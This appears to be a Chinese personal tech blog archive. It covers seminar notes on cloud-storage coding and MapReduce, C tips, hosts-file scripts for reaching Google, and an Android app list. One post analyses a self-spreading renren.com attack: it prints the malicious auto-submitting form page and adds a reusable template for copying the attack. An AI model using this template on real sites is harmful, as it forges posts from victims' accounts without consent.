瑶池西望·紫气东来

Seminar Share: Simple Regenerating Codes: Network Coding for Cloud Storage

logicmd — Tue, 10 Apr 2012 19:44:27 +0800

这篇日志主要分享实验室的seminar，这篇paper选自INFOCOM 2012，作者来自USC, EMC和Microsoft Research，主要讲了简单高效的云存储编码方式。

本文采取一种基于Networking coding的简单高效的云存储编码方式。相比传统的Replication方式，本文方法具有更高效的存储利用率和更高的可靠度，同时有可观的性能（repair吞吐与Replication可比）；相比MDS编码（用于RAID 5、6），本文拥有更低的recovery复杂度，更高的repair吞吐和更好的扩展性。

提出方法的亮点：

O(1)级别的单节点修复磁盘IO，保证了框架的可扩展性(Scalabilty)
简单高效的一致性修复(exact repair)方法
不低的存储效率

提出方法的不足：

仿真真实性不如实现更强，实际SRC的实现不难
冗余度n-k不随规模n增长而增长，可靠度下降
与MSR(Minimal Storage Regeneration Code)比较带宽开销，有失公平（应该与MBR比较）
性能理论分析时（Slides 33）未考虑是Exact repair 还是 Functional repair

下面是我的Presentation。

Seminar Share: The Performance of MapReduce: An In-depth Study

logicmd — Tue, 10 Jan 2012 02:14:45 +0800

这篇日志主要分享数据库课的seminar，这篇paper[1]选自VLDB `10，作者来自NUS，主要讲了MapReduce框架在数据库操作时性能瓶颈，并给出了优化建议。

作者不同意业内大牛Dewitt在[2]的看法，即MapReduce性能与数据库要差很多。他认为经过适当的优化，MapReduce性能会提升2.5x-3.5x以上，最终两者性能是可比的。

下面是我的Presentation。

Presentation

The Performance of MapReduce: An In-depth Study

View more presentations from Kevin Tong.

以下是Rebuttal。

Q&A

这个题目其实比较好，但是，这个in-depth最后的感觉不是很是深入

开始提出7个关键步骤，这个大家都会同意。但是，不知道为什么一下跳到3个步骤，这三个步骤的依据是什么？是否随着数据特性的不同会有不同的关键步骤，这个都没有讲清楚。

后面提到的针对不同步骤，大概是2*2*3*2，约有24种不同组合，没有必要引入什么搜索算法，大家原本就是不同步骤串行起来的，每个步骤取最好的即可。如果需要考虑关联关系，则需要说清楚关联在什么地方。此外，24也不是什么大的不得了的数据，如果关联，直接跑就行。不一定对这个空间做什么剪枝。而且，这个操作是一次性的工作。

上次课程的遗留问题，这个应该由你查询解决

在hadoop中，原始数据要被转换成key/value的形式以便进一步处理，这就是数据解析。现在有两种数据解析方法：immutable decoding and mutable decoding。Hadoop是采用java语言编写的，java中很多对象是immutable，如String。当用户试图修改一个String内容时，原始对象会被丢弃而新对象会被创建以存储新内容。在Hadoop中，采用了immutable对象存储字符串，这样每解析一个record就会创建一个新的对象，这就导致了性能低下。

老师，您好，这是我对这几个问题的一点想法。

问题一：

文中提出MapReduce系统通常的7个步骤，这7个步骤是：

invoke map functions to read data from a storage system into memory
parse/decode data into records
process the records
sort the intermediate data emitted by map functions according to keys
shuffe intermediate data from mappers to reducers
merge data into groups by intermediate keys
invoke reduce functions and write resulting records back to a storage system

从7个步骤变到3个步骤文中的意思是只有1 2 4这三个步骤有其他不同的实现的方式。

其他步骤比如步骤2 5 6，具体实现肯定是与任务本身的目的有关的。还有步骤7看起来似乎没有别的实现方式。

这一点，由于当时时间有限讲的不是很清楚，不好意思。

问题二：

关于4个factor之间的影响，是这样的，这个论文中只是强调这个空间很大，至于2*2*3*2这个东西，是我的理解，借题发挥了一下下。现在看来，这个想法有些问题，不是很准确。

1.我又回去读了论文，实际的搜索空间不知这一些，比如decoder这一块，我大致分成了mutable和immutable的，但是除此之外还分为binary和text两大类，然后binarydecoder中有包好三种序列化的框架，包括Hadoop的Writeable，Google的ProtocolBuffer和BerkeleyDB，所以前前后后作者一共实现了7个decoder(text两种，writable两种，protocolbuffer两种以及最后的BerkeleyDB由于API限制一种)。

2.其次后面计算benchmark有很多grep selection aggregation和join。第一个grep task测的参数不是很多，但是后面的几个task都是综合测定多个参数，我想他所谓的减小搜索空间，也就是剪枝，指得是前面的小的task测定的单个factor中有优势的implementation我还拿到后面去用，明显劣势的implementation就不用了，比如最后一个join算法算benchmark的时候，就只用两个decorder一个mutable text一个是BerkeleyDB的。

3.也不能说这个搜索空间不大，作者在做测试的时候分别在10/50/100个node上测试。作者本人没有集群，都是在Amazon的EC2上跑的。在这种虚拟化的平台上，每台机器都不是独占的，由于均衡负载的缘故，每个机器每天不同的时段的性能主要是磁盘和网络IO都有差别。我在ppt中也说到了，作者说做实验需要错开高峰期，然后他们在Amazon这个付费平台上的预算也是有限的，所以做了这样的剪枝处理。

问题三：

最后关于那个decoder，我查了一下Java序列化相关的知识。

1.什么是序列化？为什么要序列化？

序列化就是把结构化数据转化成字节流，便于在网络传输和磁盘中进行永久化存储。序列化通常用在进程间通信和永久存储中。

序列化具有紧凑、快速、可扩展性、互操作的特点。

2.Java Object Serialization和HadoopWriteable

Java本身带有Java Object Serialization这个序列化的方式，但是由于它并不好，Hadoop并没有使用它，而是实现了自有的Writable这个框架。

首先，Java Serialization不精简，每个对象写入数据流都要写入类名，会引入句柄，不利于随机存储。

其次，Java Serialization反序列化过程的开销大，需要对每个对象新建实例，也就是paper中所说的是immutable的，但是Hadoop Writable是mutable的。

也就是说Hadoop目前这个版本自带的序列化框架writable就是mutable的，作者实现了writable这个框架的immutable形式，还Google protocalBuffer的immutable形式，作者最后测定几个decoder是他自己实现的mutable text decoder和BerkeleyDB的decoder效率最高。这当然是在Hadoop 0.19的code base的基础上。

最后，可移植性，这一点Java Serialization和Hadoop Writable都不好，原则上讲其他语言能够理解他们的流协议，但是实际其他语言实现不多。

以后Hadoop计划支持Avro这个语言无关的序列化框架，也是Apache出品，Hadoop之父Doug Cutting创建,旨在解决Hadoop Writable缺乏语言可移植性的问题。

非常好的feedback！

我们再讨论下

问题一：

这个感觉每个步骤都可以优化，就比如第5步，我们可以采用非sort-merge的方式来结合，就如果你ppt最后Tenzing: A SQL Implemetation On The MapReduce Framework
这个里面这样，其中就对shuffle优化了

第7个，是否和第二个是一回事，序列化和反序列化对应的，都有很多种实现方式。但是不知道是否可以说一种高效的反序列化就意味着高效的序列化。如果不是，7似乎也应该是探讨的对象

此外，还有其他步骤，如每次map reduce任务的start up，和clean up，都可能是优化的目标，因为也占用了不少资源

问题二：

解释的挺好，我还是不明白，这个不同步骤之间到底什么关联关系，以至于需要组合测试，如decode，对于后面的处理没有关系，我们只要在这个阶段中发现最快的decode即可。因此，没有必要讨论组合的情况

问题三：

挺好，Good。

问题一：

恩，同意，在其他几个步骤也有一些优化策略，不过作者只研究了那三步而已。
作者还未讨论的优化的策略：

mapper数量设定，即控制分片数量多少，小文件较多的时候是否需要很多分片。（对于第1步）
reducer数量设定。（对应第7步）
combiner，利用combiner可以减少shuffle的数据传输量。（对应第5步）
intermediate value的压缩，这个作者有一笔带过，说有研究表明效果不是很明显，而且加入compression了以后他们程序遇到好多错误，就没压缩了。
custom serialization.自定义一个的writable对象或者comparator，在不必deserialize后做sort。（对应第4步）

问题二：

我理解，作者其实也不是说几个factor之间有关系吧，对于某些复杂的task比如join，会受到好几个factor影响，然后有几个factor前面测过性能优劣，这次就不测了，这样省钱省时间，呵呵。

Reference

[1] D. Jiang, B. C. Ooi, L. Shi, S. Wu: The Performance of MapReduce: An In-depth Study. Int’l Conference on Very Large Data Bases (VLDB), 2010
[2] Andrew Pavlo, Erik Paulson, Alexander Rasin, Daniel J. Abadi, David J. Dewitt, Samuel Madden, Michael Stonebraker: A comparison of approaches to large-scale data analysis In SIGMOD ’09: Proceedings of the 35th SIGMOD international conference on Management of data

通过‘人人网6周年’活动发布的XSS分析

logicmd — Sat, 10 Dec 2011 14:52:43 +0800

大约半年前，人人弄出国站内信”暗恋门”XSS的漏洞，盗取cookies，病毒分发站内信，曾有童鞋撰文分析过这个事件。（传送门）

今天，满屏的姜姝君（没截图，人人自己公关删太快了）和后来的技术宅改变世界的状态都是这次XSS的具体体现

表现在，点击URL以后，立马也会发一个同样状态，LZ也有中招，翻看技术宅改变世界http://www.wix.com/active93/active93）的源代码

可以在header中看到

<script type="text/javascript">
    //<![CDATA[
    var serviceTopology = {"serverName":"apu1.wixpress.com","cacheKillerVersion":"v=527","staticServerUrl":"http://static.wix.com","biServerUrl":"http://frog.wix.com","userServerUrl":"http://users.wix.com","billingServerUrl":"http://premium.wix.com","mediaRootUrl":"http://0.static.wix.com","htmlComponentServerUrl":"http://www.flashquix.com/embeds","logServerUrl":"http://frog.wix.com/plebs","monitoringServerUrl":"http://TODO"};
...
//]]>
</script>

实际调用了http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&gzip=true&bg=transparent

这个js，别直接点开，否者就会执行这个js了 =。=

chrome里打开view-source:http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&gzip=true&bg=transparent

（或者其他你喜欢的浏览器替换view-source:部分）

安全查看这个js的源码

发现

<html>
<head>
    <title></title>
    <style type="text/css">
        html, body {
            height: 100%;
        }
        body {
            margin: 0;
            padding: 0;
        }
    </style>
</head>
<body bgcolor="transparent">
  <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Thanks for you click.</title>

</head>
<body>
<iframe name="destination" width="0" height="0"></iframe>

This is the TRUTH. Just major in COMPUTER SCIENCE!!!

<div id="kokia" style="float:left;display:none;">

<form id="akiko" name="akiko" action="http://6.renren.com/sixyears/publish" method="POST" target="destination">
  <p>type: <input type="text" name="type" value="2"/></p>
  <p>raw: <input type="text" name="raw" value="技术宅改变世界。。。http://www.wix.com/active93/active93"/></p>
  <input type="submit" value="Submit" />
</form>
</form>

</div>

<script>
	document.akiko.submit();
</script>
<script type="text/javascript">var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F278a7f54490f000cde62d2dbfed2f0b7' type='text/javascript'%3E%3C/script%3E"));</script>

</body>

</html>

</body>
</html>

主要内容就是这个post了，额，人人在post时候没有检查post来源，应该就是这次XSS的主要原因。

这次似乎没有窃取cookies，一点见解，大牛勿拍

Update: 如何DIY一个人人XSS，伸手党点这里

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>你需要的html标题</title>
	</head>
	<body>
		<iframe name="destination" width="0" height="0"></iframe>
		<h2>内容标题啊</h2>
		<p>内容啊</p>
		<div id="kokia" style="float:left;display:none;">
			<form id="akiko" name="akiko" action="http://6.renren.com/sixyears/publish" method="POST" target="destination">
				<p>type: <input type="text" name="type" value="2"/></p>
				<p>raw: <input type="text" name="raw" value="状态内容，记得加上本URL哦，亲  "/></p>
				<input type="submit" value="Submit" />
			</form>
		</div>
		<script>
			document.akiko.submit();
		</script>
		<!--来个图片神马的-->
		<image src="imageURL"></image>
	</body>
</html>

Monologue on Programming

logicmd — Fri, 30 Sep 2011 15:26:03 +0800

1.声明变量尽量在函数开头

#include <stdio.h>
#include <string.h>
char name[]=”mygogou”;
int main()
{
    char output[8];
    strcpy(output, name);
    for(int i=0;i<8&&name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}

写在.c文件中会编译报错。

Compiling…
tmsg.c
E:\as\vc-code\1\tmsg.c(8) : error C2143: syntax error : missing ‘;’ before ‘type’

经查证这是因为c和c++关于变量声明的一点点不同：

C语言是要求你必须将变量在函数开始处进行声明的，不支持在任意地方声明变量。

因此换成这样的就编译通过啦：

#include <stdio.h>
#include <string.h>
char name[]=”mygogou”;
int main()
{
    char output[8];
    int i;
    strcpy(output, name);
    for(i=0;i<8&&name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}

在C++语言中无这种限制。但是个人倾向于将声明放在函数开头部分，参加3GLive期间的问题。

2.fwrite和fprintf存在缓冲区

是先写到内存的，fprintf,fwrite都是从用户缓冲写到标准io的缓冲，然后从标准io的缓冲到内核缓冲，最后才由操作系统写入文件。

文件缓冲区滿时自动写入文件
强制文件缓冲区时自动写入文件：如fflush(),fclose()及程序结束等

因而一定记得fflsuh()和fclose()否则，当程序没有正常返回，Ctrl-C或者crash时，buffer就被drop鸟。

int main()
{
	FILE *fpRead, *fpWrite;
	if((fpRead = fopen("d:\\test.txt", "r")) != NULL)
    {
		if(remove("d:\\test.txt")==-1)
		{
			printf("could not delete.");
		}
    }
	fpWrite=fopen("d:\\test.txt", "at+");
	char x[11]="FUCK YOU2!";
	//fwrite(x, sizeof(x[0]), sizeof(x)/sizeof(x[0]), fpWrite);
	for(int i=0; i<11; i++)
	{
		fprintf(fpWrite, "%c", x[i]);
	}
	fprintf(fpWrite, "\n");
	fprintf(fpWrite, "hello");
	fflush(fpWrite);
	return 0;
}

#pex4fun Challenge 2nd Fibonacci

logicmd — Thu, 15 Sep 2011 15:09:34 +0800

Pex is Automated White box Testing for .NET from Microsoft Research.

Pex for fun on the web is a radically simplified version of the fully featured Pex Power Tool for Visual Studio.

Challenge Fibonacci 2 is a kind of the simplest recursive problem after you find out the duel is actually second order Fibonacci array.

using System;

public class Program {
  public static int Puzzle(int x) {
    // Can you write code to solve the puzzle? Ask Pex to see how close you are.
    if (x <= 1) return x;
    if (x == 2) return 3;

    return Puzzle(x-1)*2 - Puzzle(x-3);
  }
}

Google Host Patch自动获取脚本

logicmd — Mon, 18 Jul 2011 10:55:11 +0800

Google最近发布了Google Plus，但是几乎是刚刚一发布就无法访问，同时面对着GMail，Google搜索越来越频繁的连接阻断问题，我们急需要一个方案来更方便的访问Google服务。

如果在校园网中，IPv6无疑是一个良好的解决方案，本博这篇文章给出了相关方法，在Google Code上也有一个Project专门维护Google IPv6的Host列表。

但是在没有IPv6环境的情况，这个自动脚本就有了意义。本脚本最初来自Google+ 上的Felix Hsu，他已发布正式版，但是我还是个人更喜欢这个version 3一些~ XD

Windows Vista/7用户在开启UAC的情况下需要“右键->以管理员的身份运行”

点击此下载该脚本
建议大家使用smarthosts

@echo off
REM 欢迎圈我,在顶栏的"查找人员"处输入Felix Hsu即可
REM Mod by logicmd
REM 准备工作,先清一下DNS缓存,再备份hosts
ipconfig /flushdns
cls

REM 测试时有的朋友会不耐烦的点掉,咱提示一下:
echo Google+ hosts自动修改脚本
echo 请稍等一下,正在通过网络获取可用IP

REM 然后ping www.google.cn和www.google.com以获取最新的IP,赋值%CNIP%和%COMIP%
REM ping ditu.google.cn获取最新的IP,赋值%MAPIP%

for /f "tokens=2 delims=[]" %%i in ('ping www.g.cn') do set CNIP=%%i
for /f "tokens=2 delims=[]" %%i in ('ping www.l.google.com') do set COMIP=%%i
for /f "tokens=2 delims=[]" %%i in ('ping ditu.google.cn') do set MAPIP=%%i

REM 找到之前改过的行,删掉,很stupid的方法...
type %windir%\System32\drivers\etc\hosts|find "#THISISNOTE" /i /v|find "#Google Plus" /i /v|findstr "." >>%windir%\System32\drivers\etc\hosts2
ren %windir%\System32\drivers\etc\hosts hosts3
ren %windir%\System32\drivers\etc\hosts2 hosts
del hosts3 /s /q

REM 为了美观和避免直接在文件末尾添加的惨剧,咱空一行
echo.  >>%windir%\System32\drivers\etc\hosts
echo #Google Plus >>%windir%\System32\drivers\etc\hosts

REM 把获取到的%CNIP%和%COMIP%给写进去,为了方便以后可以删除,加了一个#THISISNOTE 的注释,我实在是想不出怎么做了,望见谅
echo %CNIP% plus.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% talkgadget.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% picasaweb.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh1.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh2.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh3.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh4.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh5.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh6.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh6.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh5.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh4.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh3.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh2.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh1.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com.hk  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% plusone.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% s2.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% s1.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images1-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images2-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images3-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images4-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images5-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images6-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images-pos-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% maps-api-ssl.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com.hk  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% webcache.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% mail.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% www.googlelabs.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% docs.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% profiles.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% services.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% clients4.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% clients2.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% chrome.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% tools.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts 

REM 把获取到的%MAPIP%
echo %MAPIP% maps.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %MAPIP% ditu.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts  

REM ok,搞定
echo 您的hosts编辑完成.
REM 按任意键继续的功能千万别有,否则别人问你按任意键是神马意思的话...

UPDATE：建议大家使用smarthosts

FAQ[1]

这些IP是否可靠？

这些IP都来自于GoogleCN在BJ的数据中心，包括大约30个C段IP（203.208.32.0 – 203.208.63.255）

这些IP都在国内理论上将是否能够一直可用？

不能保证未来的可用性。

用这些Host是否意味着Google用户的Mail/Plus/Picasa存在BJ的数据中心的呢？还是采用的反向代理或者隧道一类的技术？

只是反向代理，谷歌分布式系统中的 Web server 部分，参见 [2]。

Promotion

最后，荒淫大家来圈我。

[1]http://www.zhihu.com/question/19749678
[2][Micro'03] Web search for a planet: The Google cluster architecture http://static.googleusercontent.com/external_content/untrusted_dlcp/labs.google.com/en//papers/googlecluster-ieee.pdf

快速切换IPv4/IPv6 host的脚本

logicmd — Tue, 21 Jun 2011 01:32:52 +0800

这篇文章讲了一些Google等国外网站IPv6 host列表。使用它们速度更快，更无束缚。但是如果在一个IPv6经常坏掉的校园网，或者需要经常移动到没有IPv6的网络中，一个切换IPv4/IPv6 host列表的脚本无疑很重要。

Windows平台

Window平台中host列表存放在 %windir%\System32\drivers\etc，我们规定IPv6的hosts存放在hosts.v6，IPv4的hosts存放在hosts.v4，处于其中一个状态时其内容存放在hosts文件中，使用如下batch则可以完成hosts状态的判断。

::	Description:
::	  This batch is used to switch host files from ipv4 to ipv6 or the other.

@ECHO OFF
SET FileLocation=%WINDIR%\System32\drivers\etc
SET IPV4FileName=hosts.v4
SET IPV6FileName=hosts.v6
SET TargetFileName=hosts

:: If host.ipv6 exits, switch to IPV6, else switch to IPV4
IF EXIST %FileLocation%\%IPV6FileName% (

	:: Switch to IPV6
	CHOICE /M "Swithed to IPv6?" /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv6 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV4FileName%
	REN %FileLocation%\%IPV6FileName% %TargetFileName%

) ELSE IF EXIST %FileLocation%\%IPV4FileName% (

	:: Switch to IPV4
	CHOICE /M "Swithed to IPv4?" /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv4 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV6FileName%
	REN %FileLocation%\%IPV4FileName% %TargetFileName%

)

PAUSE
EXIT

:END
ECHO Nothing changed!

在Windows vista和 Windows 7系统中，有用户帐户控制（UAC），总是右键去点击使用管理员权限执行会麻烦，一个解决方案是使用Quick batch file compiler将其编译成exe，然后设定成总是需要管理员权限即可。
最终生成的是SwitchHosts.exe文件。

脚本下载地址：
http://dl.dbank.com/c0l8vthy17

Linux平台

Linux平台中host列表存放在 \etc，我们做同样的文件名规定。

#!/bin/bash
#Description:
#This scripts is used to switch host files from ipv4 to ipv6 or the other.
if [ -f /etc/hosts.v6 ] # Now using ipv4 mode
then
	sudo cp /etc/hosts /etc/hosts.v4
	sudo cp /etc/hosts.v6 /etc/hosts
	sudo rm -f /etc/hosts.v6
	echo "Successfully switched to ipv6 hosts!"
elif [ -f /etc/hosts.v4 ] # Now using ipv6 mode
then
	sudo cp /etc/hosts /etc/hosts.v6
        sudo cp /etc/hosts.v4 /etc/hosts
        sudo rm -f /etc/hosts.v4
	echo "Successfully switched to ipv4 hosts!"
else
	echo "ERROR! No Backup File is found!"
fi

最后

chmod switch 644
cp ./switch /usr/bin

之后直接在terminal中输入switch即可~
在Ubuntu 10.04测试通过。
EOF

Seminar share: Transport methods in 3DTV–A Survey

logicmd — Fri, 29 Apr 2011 21:49:08 +0800

Introduction

On April 28th, I have my first seminar presentation in ICST. As a newbie, I choose a survey paper as my first try whose title is Transport methods in 3DTV.

The presentation is a refined version of the original paper. All the documents is shown as belows. Hope you enjoy them and feel free to comment whatever in your mind

Presentation

Transport methods in 3DTV–A Survey

View more presentations from Kevin Tong

Original paper

Transport methods in 3DTV–A Survey

View more documents from Kevin Tong

我的Android Apps清单

logicmd — Tue, 01 Feb 2011 21:10:45 +0800

文章目录

入手Desire Z一周多，尝试过的Android应用来来去去也有100多个了，不敢独享，特来分享

Live Version: http://bit.ly/my-android-apps

零、关于市场

什么东西进入中国都有“中国特色”，在这一点上Android也不能例外，本来Google 官方好好的 Android Market，在国内又出现了数十个论坛自己所谓的市场。在我看来，尽量只使用Android Market官方市场，毕竟有巨大的用户数量做保证（国外貌似没有这么多鱼龙混杂的市场），又有25美刀的注册费做门槛；这样一来太糟糕、恶意的应用很难藏身。所谓的“数字卫士”，所谓的安X市场应用检测倒显得没有必要了。

闲话不说开始正题。

壹、验机必备（三只）

Desire Z在国内只有私货，验机很重要！

Dead Pixel Test

用最高亮度多达10钟颜色壁纸检查LCD是否有亮点坏点。

MultiTouch Tester

检查多点触控点数。

Z-DeviceTest

给机身所有硬件，包括摄像头、GPS、蓝牙，加速度计、罗盘、扬声器、话筒以及所有你想得到的硬件，做检查。

贰、Google App类（九只）

Android手机系Google出品，最大的特色有很多推送的应用。

Market Enabler（需要root权限）

Must have app。有了它才能在菜市场看到很多好用但是不面向天朝的应用。（例如Google maps）

Google Maps

Must have app。最新的5.0版支持离线地图，且地图全部采用矢量图存储，更少的Loading；有了罗盘模式手机再也不必转来转去了~

Street View on Google Maps

Google Maps街景模式插件。开了罗盘模式后效果一级震撼啊！但是在国内几乎没用，肉身不能出国的来看看吧。

Google Earth

很好玩，提供几乎跟PC上同样的效果，看到很多Panoramio图床的风景。

Google Sky Map

据说是把妹必备应用非常有创意，非常好玩。

Google Goggles

第一次好像要VPN后之后才能正常使用。条形码识别跟国内产品线不对应，使用意义不大。能解数独，这点很创意的可是居然只开放给米国使用，挂VPN后国内方可使用。

Google Reader

Must have app。不解释，第一次好像也要VPN后才能正常使用

Chrome to Phone（谷歌浏览器转手机）

多好的服务啊，可惜也被墙了…

GTasks

非官方出品，和Google Task 同步，效果不错。和ROM中的Google Calender一起，GTD必备。

叁、通信及系統类（十一只）

来源于对于Symbain平台上“来电通”功能的需要。来去电归属地和来电黑名单ROM里面有了，Android版的来电通很不给力。

Missed Call

用于未接来电提醒，很小巧，不累赘。未读短信提醒做的很糟糕，只用未接来电提醒好了。 = =

GO SMS

少见的国产软件精品，用于未读短信提醒，还有很多短信增强功能。用过 Handcent SMS，更加老牌，但是不是很符合国内使用习惯，UI也没有GO SMS好看。

3G Watchdog Pro

流量监控，带有直观的widget，还可以按时间，按应用生成流量报告，很强大，Must Have！

Advanced Task Killer

任务管理器，Must Have！很小巧，很高效。

Root Explorer

文件管理器，需要root，神器，很高效。ROM里面有OI文件管理卸不掉，用过ASTRO，好臃肿。

Adfree

需root，原理就是修改机身hosts，把广告（应该是Admob吧）统统屏蔽（据说对国内安A机B安C市场中app广告不起作用，看看还是官方菜市场好吧）

搜狗输入法

先是试用了百度输入法，对于800*480这个分辨率支持很不友好，虚拟键盘图片看起来很不清晰，标点符号也不够常用，当然9宫格输入字母的时候还是不错的。然后换了搜狗输入法，UI很不错~

Lookout Mobile Security

Android平台上的Find my phone，用过一次定位很慢，警报也能自行停止。关键是Android手机不是iPhone那般密封，大大多可以通过拔电池解决，再加上root后的手机随随便便就能wipe -.-

类似的软件还有Find My Phone（短信通信看起来不很友好）和Seek Droid（0.99刀）。

OpenVPN Settings

如果不是一直开着terminal，还是用这个OpenVPN的外壳吧，比TunnelDroid好用（头标也忒丑了）。偶是CM系统内置OpenVPN，否则，您也许还需要OpenVPN Installer。

ConnectBot

SSH管理远程主机必备，支持密钥认证；当然也可以蛋疼地telnet bbs。

Brightness Toggle Widget

Must have，小巧，多达10阶亮度调整，双击进入自适应状态。比系统自带的电量控制Widget好用

肆、影音娱乐类（五只）

快图浏览

Must Have！各种给力！从某种意义上说，全拜ROM中官方图库（Gallery）所赐，BTW，Gallery那个缩略图载入速度，那个低DPI，一开始我还以为是屏幕坏了！要不是有个3D效果，要不是还带重力感应，可以少量装X，我早就%……￥&！！

VPlayer

据说超越RockPlayer的应用，我都装着。（RockPlayer的介绍看着好专业~~）

Camera 360

相机效果，比系统内置相机好用。

PicSay Pro

还没怎么用，备着。还装了魔图精灵，更符合国人审美观。

Picplz

Android上的instagrm，各种效果，各种web2.0，用@WilliamLong的说法是可以取代Flickr了，暂时不支持Desire z -.-

伍、Web & Web2.0类（八只）

UC浏览器

主要还是用系统自带的浏览器，挑个小流量备用的。用过天天浏览器（各种版本老是FC），用过Opera Mobile，还是UC老牌，UI舒服，渲染也不错，逛Discuz!论坛必备。

Opera Mini

改服版，大家懂得。

Twidroyd

上推必备，尽管Seesmic UI更精致更HD，但是还是功能多的顺手，特别是LivePreview，神马图床的推都可看了，很强大！

CB沙发器

常上cnBeta人士必备！

人人网

可以给通信录加头像，呵呵。

新浪围脖

还没登陆过-.-，不需要推送的就不必下了。

官方版的QQ实在是太庞大，太臃肿，太平台化了，很少上手机聊，还是民间精简版吧~ Must Have！

miniFetion

同PC端，非移动号码也能用，Must Have！

陆、实用工具类（十三只）

Fancy Widget Pro

人如其名，非常华丽(Fancy)的天气Widget，HTC Sense UI天气？ MIUI天气？统统没问题，尽在Fancy Widget Pro。

猜火车

我用过的最好用的余票查询系统。Must Have

北京地铁

头标好帅好帅，这组神奇的地铁软件分了N个城市发布在菜市场。

Moon+ Reader（静读天下）

RSS，书籍， txt/ePub/umd/…最好用的电子书软件，Must Have

Barcode Scanner

老牌条形码识别，还不错，背后有丰富的后端程序（针对国内市场嘛）

QuickMark

“QuickMark”，挪鸡鸭上的经典软件，对中文支持强于Barcode Scanner。

图书比价

利用Barcode Scanner扫描识别的数据，给出图书在卓越当当的价格对比，更有豆瓣书评，Must Have！

我查查

其实UI蛮丑的，web感非常重，但是国内是在没有那么好用的条形码查价格app，先用着，大家有更好的给我留言。

麦当劳绿色环保手机优惠券（McDonald Coupon）

据说是在肯德基店不接受电子优惠券以后才流行起来的

ESPN ScoreCenter

体育迷必备，所有你想的到的体育项目，比分，数据，评论。

有道词典

个人觉得最好用的词典。本地词典装了CulorDict，和Moon+ Reader配合很好用。

Sound Hound ∞

著名哼唱搜素网站Midomi 的Android Apps，很实用，Must Have！

DropBox

Web端解封了，PC端解封了，Android端还会远吗？最好用的跨平台云存储

柒、游戏装X类（八只）

玩的游戏比较少，推荐不具有代表性，嗯嗯~

Fruit Ninja（水果忍者）

最喜欢玩的游戏

Angry Bird（愤怒的小鸟）

